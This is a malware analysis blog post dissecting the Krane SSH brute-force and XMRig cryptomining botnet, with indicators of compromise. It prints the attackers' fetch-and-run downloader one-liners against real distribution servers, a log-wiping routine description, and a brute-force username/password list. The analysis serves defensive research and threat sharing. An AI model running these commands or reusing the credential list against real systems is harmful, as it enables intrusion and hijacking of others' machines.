Cybersecurity

New Threat Alert: Krane Malware

November 12, 2021

One of our honeypots has recently captured an interesting attack that we have not seen before. In this article, we will go through the peculiarities of the malware and detail the findings in a technical analysis.

Catching something truly unique in the wild forest of the IoT threat landscape has not been a common event in 2021, since most of the attacks are descendants of Mirai and Gafgyt malware. We also recommend reading our Honeypot Journals II: Attacks on Residential Endpoints a more broader overview of attacker tactics.

The malware specimen we spotted not only has common capabilities like brute-force login prompts and the ability to deploy the XMRig cryptominer application to mine Monero for the attackers, but it also has an interesting combination of Bash and Python scripts to propagate and move laterally to infect vulnerable hosts.

Overall, the malware has the following features:

  • Brute-forces credentials to enter SSH
  • Built-in password dictionary
  • Uses curl and wget to grab second stage payloads
  • Sets up persistence and cleans up logs to cover its tracks
  • Checks for competing botnets and cryptominers, kills their processes
  • Deploys XMRig cryptominer
  • Uses Bash scripts and a Python script to further propagate to vulnerable hosts
  • Includes a subnet scanner and a banner grabber module

 

The Initial Vector of the Krane Malware

The initial vector of entry was a brute-forced SSH login. Our sensor had flagged the attempt and we tried to find similar events or events from the same source.

Krane brute-force attempt on SSH port

We saw that the following IP addresses were carrying out brute-force attempts in this campaign:

IP rDNS
198.98.52[.]12 No rDNS entry.
199.19.226[.]4 kk[.]ko
199.195.252[.]242 No rDNS entry.
209.141.40[.]193 smtp21.dsfdsaonline[.]com
209.141.47[.]39 chenximiao[.]ml
209.141.55[.]247 No rDNS entry.
209.141.51[.]168 soen390.alan[.]ly

 

All of these IP addresses belong to AS53667.

AS53667, or PONYNET, has been known to be a malware distribution center for some time now. PONYNET is owned by Frantech Solutions, a so-called bulletproof hosting service provider. Bulletproof hosting providers allow their customers considerable leniency in the types of material they upload and distribute from hosted servers, whether it be phishing campaigns, malicious botnets, or other illegal activities.

The firm BuyVM (also owned by Frantech Solutions) has datacenters in the US and originate most of the attacks noted above.

ASN53667 PonyNet on URLHaus

https://urlhaus.abuse.ch/asn/53667/

We observed the following usernames being used in the SSH break-in events:

Usernames
Git
Web
Cisco
Tomcat
Steam
Chia
Hyjx
Es
Azureuser

 

Once the malware gains access with valid credentials, it will attempt to deploy a downloader script, which tries to pull the second stage payload from a hardcoded location.

cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56[.]65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane [email protected]
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.57[.]111/ssh || curl -o ssh 209.141.57.111/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane [email protected]
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.32[.]157/ssh || curl -o ssh 209.141.32.157/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane Root12345

The three highlighted servers had been the main distributors of Krane, but, over the following weeks, many others have started to propagate the Krane malware:

# Count Distribution server
68 198.98.56[.]65/krax
50 209.141.57[.]111/ssh
36 209.141.32[.]157/ssh
11 209.141.32[.]204/ssh
7 209.141.54[.]197/ssh
4 209.141.58[.]203/ssh

 

The last argument in the Bash downloader script looks to be a password that is passed to the krane file (see the Second Payload section for more info on the krane file). We have seen the following passwords used:

Passwords
user
hduser
Test1234
[email protected]
[email protected]
Test1236
test12346
Test12346
nagios6
oracle6
Postgres1236
traacerlab6
1234566
12346
Admin123456
oracle6Z
1234566l
ubuntu
admin
Root12345
admin6(
[email protected]
[email protected]

 

Second Stage Payloads

There were two main packages being pulled via the scripts:

  • krax
  • ssh

 

The krax Package

cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56[.]65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane [email protected]

The package called krax consists of a hidden directory called ._lul.

Inside the directory, we can see the following files:

  • config.json
  • krn
  • krane

 

krane:

krane bash script

The UID check will, by default, return the value 0 if the current user is root, and, if that is the case, the condition will take the else branch.

On MacOS, if the script is running via a normal user account, the UID usually has an id of 50x, while on Linux system the UID will be > 1000.

krane bash script #2

The krane script also does some house-chores:

  • It cleans up pre-existing instances of Krane,
  • Deletes log files like lastlog, bash_history, messages, utmp and wtmp to hide its activities,
  • Re-creates the log files to remove traces of tampering.

As we investigated the campaign, we have gathered all variants of this shellscript and made notes of all hardcoded passwords used:

The krane bash script also includes a short Romanian sentence, shedding some light on its creator’s likely whereabouts.

#descarci scriptu, si il rulezi cu ./script.sh parola_de_la_root

It means “download the script, and run it with ./script.sh.”

krn:

This binary is the executable of the cryptocurrency miner, called XMRig 6.12.1.

XMRig is a high performance, open source, cross platform RandomX, KawPow, CryptoNight and AstroBWT unified CPU/GPU miner and RandomX benchmark. It hijacks the user’s computer and uses its resources to mine digital currency.

XMRig has many plugins and supports many types of CPUs and GPU cores, like nVidia CUDA or AMD (OpenCL).

config.json:

Config.json is the descriptive file, a configuration set for XMRig to know where to connect to and which crypto pool to use.

Krane uses Hashvault’s pool, like many other cryptocurrency-mining malware:

  • pool.hashvault.pro:80

XMRig config.json file

The ssh Package

The other campaign downloads a package file called ssh:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.32[.]157/ssh || curl -o ssh 209.141.32.157/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane Root12345

Inside the packed archive file is a hidden directory called .ssh, with two files inside:

  • krane
  • sshd

The script file krane is the same as the one described in the krax archive file.

sshd

The sshd Bash script is a second-stage downloader script: based on the output of the nproc environmental variable, it will pull either the road campaign or the runner campaign.

Road campaign of Krane

Nproc prints the available CPU cores on any given system. However, the condition which determines this is fundamentally flawed: nproc is being queried from the $nproc variable, but it is not set on every system by default.

nproc default behavior

We found that most Linux systems simply return nothing when $nproc is queried, triggering the else branch of the condition.

Later, we captured a new variant of the downloader script, which not only checks for the available processing units, but also checks whether libssh-4 library is installed on system.

dpkg –l | grep libssh4

Krane runner campaign

.road:

A hidden folder .road is created in this campaign, it has five files:

  • a
  • b
  • config.json
  • krane
  • run

 

“a” script file

This script file’s purpose is to kill:

a bash script killing processes

“b” script file

nohup watch -n 3 sh /tmp/.ssh/a &

nohup is a POSIX command which means “no hang up”. Its purpose is to execute a command that ignores the HUP (hangup) signal and therefore does not stop when the user logs out. Output that would normally go to the terminal goes to a file called nohup.

The file being executed and watched is the “a” script file, which kills competing cryptominers and any earlier instances of XMRig or Krane.

config.json

The XMRig configuration file that stores the pool, password, and wallet information.

XMRig config.json file

run

This binary is the executable of the cryptocurrency miner, called XMRig 6.12.1.

krane

The krane script file used here is the same that was described in the Krax campaign. Based on the current user’s privilege level, a new, hardcoded password is set for the user account.

krane bash script

Again, Krane will try and clear log files by deleting and re-creating them from scratch with the touch command.

Towards the end of the script file, a nohup command is called to execute the “b” script file. Now remember, the “b” script file calls the “a” script file, which will kill competing botnets and already running instances of XMRig and Krane.

krane bash script #2

.runner:

We just took apart the road campaign, now let’s focus on the runner campaign.

This campaign consists of a hidden directory called .runner with many files:

  • a
  • boner
  • clase.txt
  • cosynus
  • k_config.json
  • main
  • nope
  • passfile.txt
  • pscan2
  • run
  • send_vuln.py
  • yes

 

a

In this script, based on the output of UID environmental variable, either the script file nope is executed with the clase.txt file argument or the script file yes is executed.

a bash script krane runner campaign

Let’s investigate further the contents of these files.

clase.txt

This file consists of /16 subnets, more precisely, 1061 subnets with two octets. This file might be used for scanning certain subnets, but we first need to also investigate the nope file.

  • 100.20
  • 100.24
  • 103.21
  • 103.246
  • 103.4
  • 103.8
  • 104.153
  • 104.200
  • 104.255
  • 106.186
  • 107.150
  • 107.20
  • 107.23
  • 108.128
  • 108.166
  • 108.175

 

nope:

This script pulls two resources from ro4drunner[.]com:

  • $File is the password file, gets written to passfile.txt
  • $File2 holds the subnets to scan, gets written to clase.txt

nope file creating passfile.txt

After that, a random IP subnet is generated by using the value gained from /proc/sys/kernel/random/uuid and gets scanned for open TCP port 22.

nope script executing pscan2

The script will then launch the boner executable, which is a banner grabber program, and grabs the banner response from TCP port 22 from all subnets listed in the mfu.txt file.

The generated banner.log file consists of active IPs with the open TCP port 22. This list is narrowed down to only include hosts with SSH-2.0-OpenSSH protocol information. The output is piped into a file called ipuri, which is used as input by the main executable.

The main executable will launch the original SSH brute-force attack against the active hosts, and the attack chain starts from the beginning.

nope file initiating boner SSH scanner

yes:

The yes script file is almost identical to the nope script file, with a few modifications. It seems to be a second, re-thought script that adds some improvements to the first one:

  • fs.file-max is set to a higher value than default. You can increase the maximum number of open files on the Linux host by setting this value in the kernel variable file, /proc/sys/fs/file-max
  • ulimits are set to 99999. ulimit is used to monitor, set, or limit the resource usage of the current user. It is used to return the number of open file descriptors for each process. It is also used to set restrictions on the resources used by a process.

yes script file to create passfile.txt

yes script to kick off banner grabber and subnet scan

passfile.txt:

This file is used for the propagation and brute-force logins on SSH ports. The list consists mostly of default login passwords and application-specific root passwords.

Usernames Passwords
tracerlab tracerlab
root 123456
root [email protected]
admin admin
admin 123456
root root
root [email protected]
test test
oracle oracle
es es
ansible ansible
root 1
root 123
a1234 123456
ubuntu 123456
root 1234
ubuntu ubuntu
postgres postgres
minecraft minecraft
testuser testuser
odoo12 odoo12
mcserver mcserver
hadoop hadoop
tracerlab 123456
minecraft 123456
test 123456
test [email protected]
mysql mysql
www www
admin Admin123
root Root123
root Root1234
root Root123456
admin Admin1234
root Root1
root root123
root root1234
root Admin1234
root admin1234
root Ubuntu123
root Ubuntu1
root Postgres1
root Postgres1234
root Postgres123
postgres 123456
oracle 123456
root Test123
root Test1234
test Test123
test Test1234
test test123
test test1234
root test123
root test1234

 

run:

The run script file checks whether any of the four binaries are running already: if not, it will proceed and execute the send_vuln.py Python script.

run script to launch send_vuln.py script

send_vuln.py:

The send_vuln.py file calls the k_config.json file and parses it. The IP address and port found in that JSON file will serve as the C2 server to which the results – the list of vulnerable hosts – are sent to.

Krane malware python script sending the list of vulnerable hosts

The list of vulnerable hosts is temporarily stored in a prinse.txt file.

Krane malware python script sending the list of vulnerable hosts #2

k_config.json:

This file holds the IP address and port number of the C2 server to which the list of vulnerable hosts is sent. Reports are sent every 15 seconds.

k_config file holds the C2 server IP and port

boner:

This executable binary is a simple banner grabber. It knocks on all IP addresses found in the listfile and grabs their respective banner from the specified port. There is also an option to use more threads to speed up the program.

usage: %s <infile> <port> <threads>

Banner grabber by PRG

cosynus:

The cosynus binary is a simple SYN port scanner. There is an option to set the speed, target port number and IP class.

usage: ./cosynus <port> [-a <a class> | -b <b class>] [-i <interface] [-s <speed>]

  • speed 10 -> as fast as possible, 1 -> will take ages (about 50 syns/s)

Cosynus SYN SSH port scanner

main:

The main executable is the first element in the attack chain. This binary is the one that starts the SSH brute-force based on the ipuri file (it is used for the input parameter). After a successful login to a vulnerable host, main makes sure to download either the

  • krax
  • ssh
  • road
  • runner

archive packages to the target machine and starts the whole infection chain.

Again, we have spotted several Romanian sentences in the executable, shedding some light on the nationality of the developer.

  • [IPuri Ramase]
  • Acu ti-l urc
  • nu se mai poate face sessiuni, meci mai rorst
  • Bv mane l-ai loat an gurtza
  • mna, pe asta ti-o mai rezolva pula mea

pscan2:

Pscan2 is a simple TCP port scanner. It produces results in a file called scan.log.

Usage: %s <b-block> <port> [c-block]

Cryptomining

We can get a clear picture about the actor’s mining operation by looking up the respective wallets on Hashvault: so far, we saw three wallets that are used and distributed between campaigns.

The three wallets:

  • 49PGW8Cg8yj4oFktr5Au5zjUHkagMusKxctQGdJ6MNkD3TZYGsAbEEAc31QSfPjdJ14ME36hdAmJRPVaeiNB2K4nGPsenv6

Krane botnet mining history for the past 30 days

Two main workers: x and roadrunner

At one point, the two workers had 70 miners (infections) in total.

  • 46p7Typ6JQk7WpWyyE3J62M5bh39yygDm6rNYB4cowZPiiCjm2wQ8YFTum6ii2DZAePgpcz8zKMamfLX1EjDHJwvCWEZ6VW

30 days activity history of the botnet mining wallet

One worker in relation to this wallet: CPP.

The CPP worker had 29 miners at one point.

  • 46yvASpNp25BeTXJB9Zd18K4b7LWcYGZ2HYopYF6TNfCNWJQc2xMJb5dow7SucAYPu1eAui54mf3AFifzYvfAbF35kFaXJb

Mining history for the past 30 days. Krane botnet

Two workers: CPP and x. Krane botnet

Here, we have observed more than 200 miners (active infections) at a single point.

If we add up the balance of the three unique wallets, the total value mined was:

  • 2053.82 EUR
  • 355.38 EUR
  • 25.06 EUR
  • In total: 2434.26 EUR

Most mature malware campaigns gain much larger amounts over their lifetime, but, considering that Krane showed development over the past months, we expect more infections to happen at later stages as the malware matures forward.

OSINT on the Krane Botnet

There has not been much mention of this malware family in the infosec community. The only worthwhile mention is a Twitter post by user @Dogeiana from the 29th of July.

The poster described a direct interaction between the operator and him when the attacker deployed the cryptominer onto the victim’s honeypot system.

The only mention of Krane cryptominer on Twitter

https://twitter.com/Dogeiana/status/1420850937577476103

Coverage

The malicious IPs and URLs related to Krane/Krax and the Roadrunner campaign are blocked by CUJO AI Sentry.

Indicators of Compromise

Cryptowallets [Monero]

46p7Typ6JQk7WpWyyE3J62M5bh39yygDm6rNYB4cowZPiiCjm2wQ8YFTum6ii2DZAePgpcz8zKMamfLX1EjDHJwvCWEZ6VW
46yvASpNp25BeTXJB9Zd18K4b7LWcYGZ2HYopYF6TNfCNWJQc2xMJb5dow7SucAYPu1eAui54mf3AFifzYvfAbF35kFaXJb
49PGW8Cg8yj4oFktr5Au5zjUHkagMusKxctQGdJ6MNkD3TZYGsAbEEAc31QSfPjdJ14ME36hdAmJRPVaeiNB2K4nGPsenv6

Hosts

  • krane.ddns[.]net
  • pool.hashvault[.]pro

URLs

  • hxxp://ro4drunner[.]com/.db/$File
  • hxxp://ro4drunner[.]com/.db/$File2
  • hxxp://ro4drunner[.]com/road
  • hxxp://ro4drunner[.]com/runner
  • hxxp://ro4drunner[.]com/ssh
  • 107.189.2[.]131/ssh
  • 107.189.2[.]131/road
  • 107.189.2[.]131/runner
  • 198.98.56[.]65/krax
  • 209.141.32[.]157/.guns/$File
  • 209.141.32[.]157/.guns/$File2
  • 209.141.32[.]157/ssh
  • 209.141.32[.]204/ssh
  • 209.141.54[.]197/ssh
  • 209.141.57[.]111/ssh
  • 209.141.58[.]203/ssh
  • 209.141.58[.]203/ssh1
  • 209.141.58[.]203/ssh2

IPs

  • 51.15.118[.]233
  • 86.120.247[.]210
  • 104.244.78[.]183
  • 107.189.2[.]131
  • 107.189.13[.]129:10102
  • 141.255.153[.]99
  • 198.98.52[.]12
  • 198.98.56[.]65
  • 199.19.226[.]4
  • 199.195.252[.]242
  • 209.141.32[.]157
  • 209.141.32[.]204
  • 209.141.40[.]193
  • 209.141.43[.]13
  • 209.141.47[.]39
  • 209.141.51[.]168
  • 209.141.54[.]4
  • 209.141.54[.]197
  • 209.141.55[.]247
  • 209.141.57[.]111
  • 209.141.58[.]203

Passwords:

File and folder names:

  • ._lul
  • .road
  • .runner
  • .ssh
  • a
  • b
  • boner
  • clase.txt
  • config.json
  • cosynus
  • k_config.json
  • krane
  • krn
  • main
  • nope
  • passfile.txt
  • pscan2
  • road
  • runner
  • run
  • send_vuln.py
  • sshd
  • yes

Hashes

03c04220db8287fcc0f016e2f69929a582cb038e6e2c9626b1db608299b9511d a
04f7da06d4176f6d3f14d2abd9e8dbaa2b31821c8bd602bd3f458436a8ac74aa krane
09fc3d56722a2d7345bdc6ce475549a2a78b006fbbf366a024c5d300ab8c2266 config.json
0d79493b35cc4198aa41c4efecef69dadd1360cbae5ecef21b43f6879e3a927a main
1011a5e837aa216725292bf05ec03774fa6d981cae7bf5ee882e882cb65d0c8c krane
130557a083326e8fc588f05b12d782bb5530e5289b7ceca0f03c557156ca035b sshd
135a661475b6122a879ab9f9e62ed92f8c46fd07a63aacc6b6b16156034ba7d7 krax
16d80cb55df5f3a8ed8161d0b301af2a1d437c6c657605b41884a95005a4b483 krax
18fbe2bc23a4d39bac95c09c0cfad3f439a15d6b9eb61747e0289b2df9ad992c k_config.json
1d0db9e4094fe635cf13ba1628ed0dbd96e97967cc9fd874fdf890d8dc87d983 config.json
1e822c861e9482033696aa58e64e2f89dc7b3f46bf5f22c0ddb42e0fa0d5301c nope
205a70982a62b7155587d425407c968b962d6118e8517bb582ed5bef9a39e6b8 k_config.json
2ede344e0415193d41b90d3cdfbf8558c307d8b8182464dfe15655ea1f88eab0 pscan2
2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251 boner
3808f86fa9f1f9f0af5f6243f90d32bd6b3dbb7db228ef7ea2fdba346fbbdaa0 krane
3c0aee19ccba5a0080b20b198c2c00cc5432cad8bb9875462170bd58419259cf run
3fa92cfbfb8d9d46c1e837e96825e9a4fbb5b4d214c38ce2cbd286165b6b04b1 config.json
4046583b3323b9cfe00f1c9773ca57cd80513f71a07c64ae7f59fea1284571ce krax
4ccd2114fa692db310982cdcc1e9301cdf38c0ccd4f9a05144212ec1d474df11 config.json
5015497b3a75125bd6cd5c5956d6c8a30c46b7d0df91eec42219acb4bb327faf sshd
588e48eb1bf861a831a31b2dddc56926ba1735910d14795aff320640963b47bd krane
661df0b02e799d3a5bf904ff5a18f79706115c73da84e89153a4e9791b4d8786 krax
6988f670c3cee552792797e7f0aea6e93516bf278b29d3ddce13cedb6c261f3b send_vuln.py
6bdbaef8537c2764870e24d7d959e19a8ab7db5baa0d0de57aea10d765176073 yes
7bb8676c080c07af8274de5a4bb7db2c0c120e6606764d0186fa71b7026da56b krax
8158664efe2753ba8d9a1d1ac32893779e6068218f6b3d41785264687da54ca6 b
81984c0cffbae13cf40288487c958dd681b4e69874211e1d29fcb36da23b56f1 krax
84be74c9e48be089222cf5822fe389df25119d93448d7c729773890e80fe009f krane
97093a1ef729cb954b2a63d7ccc304b18d0243e2a77d87bbbb94741a0290d762 cosynus
9916396a8542dbc006edcf03c643e41e787d4c5f9ad70011d769ebf198fa1e1d krane
a07cae8d471a3e19c91b3a1315a5ac32c7984721904bf031aef3562413d8298d a
a181adfe67d5be2137a489d4b859a7d21be69d758e8fcf987ebe7e11ea806e75
a96797d948ff00486b39800e1d934eb05a983cd9dec720f5a41ed763b148627e krax
aab44120f65bd5f1b518fde2c018a2d2ef228b182eafff9b4d9de5873830fb49 config.json
b0a8dc79a798be9346f140af648ccd7089cf6a4d88a5961c7c888e5a0c76f8ac a
b12669f63d737ee63c6d3a632e1917d2d89950127aad6fefd6d81b6cc126a69e clase.txt
d1a01e023bef1ca08a344de2fa109991757f48a503f8c71225d24557355a285e main
d51e8e059bfbe22997fd0a3639cf4d79e9c5c9a9c6aec260a9d1ee694d57313e krax
d7908dfc14ff5a09b8b7c5efb8c35b3b37b1371781ef021302bd7c1936c508cd krane
d7e7265705bbb2d45c3c9b0d4a61e0d8f7403f4b1b5e5c10e76ffdc2b4d689de krane
Dc4eb01933cb16bb027bb50215480c30c39bd3d30b5b8f7b957833bd6381183a run
f33d1e913d3db9d5b6661dd5ab8a678807c8a79eca1eeefd8804e46b32ff46cf ssh
f642a1980ce3f4756dc8e5bac3a0d7578871294556c2467422ebe1a82338da34 ssh
f7021bbac761cfa04a9e86e4c7e73afdf9dad2f2f71627d617fab27e46f99942 passfile.txt
fff403517a09799ec4e4c5b6dc891bb5a614245afa9bd1b59fd5a0e935c15b3c krax